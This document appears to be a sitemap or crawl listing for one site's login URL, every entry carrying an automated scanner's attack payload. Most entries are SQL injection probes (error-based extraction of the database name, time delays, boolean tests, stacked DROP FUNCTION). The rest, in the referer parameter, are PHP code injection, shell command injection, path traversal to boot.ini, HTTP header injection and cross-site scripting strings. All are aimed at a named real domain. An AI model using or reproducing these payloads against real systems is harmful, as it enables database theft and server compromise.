http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes'%20OR%20'Tu'='Tu'%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes'%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20'zl'='lz 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes'%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20OR%20'NASDAQ'='ASDAQ 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes'%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20OR%20'Ta'='At 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes'%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes'%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(37=37)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20'q5'='q5 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(61=64)%20THEN%200x796573%20ELSE%200x28%20END))%20AND%20'UX'='UX 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(77=77)%20THEN%200x796573%20ELSE%200x28%20END))%20AND%20'IQ'='IQ 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(94=16)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20'PR'='PR 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes'%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes'%22 0.0003 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes'%2b(SELECT%20CONVERT(INT,CHAR(106)%2bCHAR(106)%2bCHAR(106))%20FROM%20SYSCOLUMNS)%2b' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes'%7C%7CCTXSYS.DRITHSX.SN(user,(select%20chr(104)%7C%7Cchr(105)%7C%7Cchr(58)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100)%7C%7Cchr(58)%7C%7Cchr(105)%7C%7Cchr(116)%20from%20DUAL))%7C%7C' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes')%20AND%20('Dp'%20LIKE%20'Yd 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes')%20AND%20('fx'%20LIKE%20'fx 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes')%20AND%2056=85%20AND%20('vr'='vr 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes')%20AND%2061=61%20AND%20('aT'='aT 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes')%20AND%2062=62%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes')%20AND%2082=35%20AND%20('ch'='ch 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes')%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes')%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20('eEye'='eye 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes')%20OR%2095=95%20AND%20('ya'='ya 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(49=49)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20('pR'='pR 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(83=83)%20THEN%200x796573%20ELSE%200x28%20END))%20AND%20('aE'='aE 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(91=85)%20THEN%200x796573%20ELSE%200x28%20END))%20AND%20('8h'='8h 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(99=37)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20('4i'='4i 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes')%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes'))%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes'),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes',(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes'/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106)/**/AND/**/'zl'='zl 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes';%20IF(62=62)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes';%20IF(98=71)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20(9=9 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20(9=9 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20(9=9 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes)%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20(9=9 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes)%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20(9=8 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(44=44)%20THEN%200x796573%20ELSE%200x28%20END))%20AND%20(45=45 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(48=98)%20THEN%200x796573%20ELSE%200x28%20END))%20AND%20(48=48 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes)%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes);%20IF(24=75)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes);%20IF(43=43)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes,%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes,%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes,(SELECT%20(CASE%20WHEN%20(11=11)%20THEN%200x796573%20ELSE%2011*(SELECT%2011%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes,(SELECT%20(CASE%20WHEN%20(16=99)%20THEN%200x796573%20ELSE%2016*(SELECT%2016%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes,(SELECT%20(CASE%20WHEN%20(18=18)%20THEN%200x796573%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes,(SELECT%20(CASE%20WHEN%20(23=42)%20THEN%200x796573%20ELSE%2023*(SELECT%2023%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes,(SELECT%20(CASE%20WHEN%20(39=39)%20THEN%200x796573%20ELSE%2039*(SELECT%2039%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes,(SELECT%20(CASE%20WHEN%20(71=88)%20THEN%200x796573%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes,(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes,(SELECT%20CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20FROM%20SYSCOLUMNS) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes,(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes,EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes1 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes6633x3X6 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yesAND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yesJyI%3D 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yesa' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yesalert(42873) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yese360 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=%3Cdir 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer='%2bCONVERT(INT,CHAR(106)%2bCHAR(67)%2bCHAR(117)%2bCHAR(106)%2bCHAR(50)%2bCHAR(108)%2bCHAR(67)%2bCHAR(70)%2bCHAR(87)%2bCHAR(122)%2bCHAR(106))%2b' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=');print(md5(1122));// 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=(EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=(SELECT%20(CASE%20WHEN%20(14=14)%20THEN%200x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246%20ELSE%2014*(SELECT%2014%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=(SELECT%20(CASE%20WHEN%20(21=21)%20THEN%200x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=(SELECT%20(CASE%20WHEN%20(24=21)%20THEN%200x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246%20ELSE%2024*(SELECT%2024%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=(SELECT%20(CASE%20WHEN%20(29=29)%20THEN%200x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246%20ELSE%2029*(SELECT%2029%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=(SELECT%20(CASE%20WHEN%20(38=83)%20THEN%200x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246%20ELSE%2038*(SELECT%2038%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 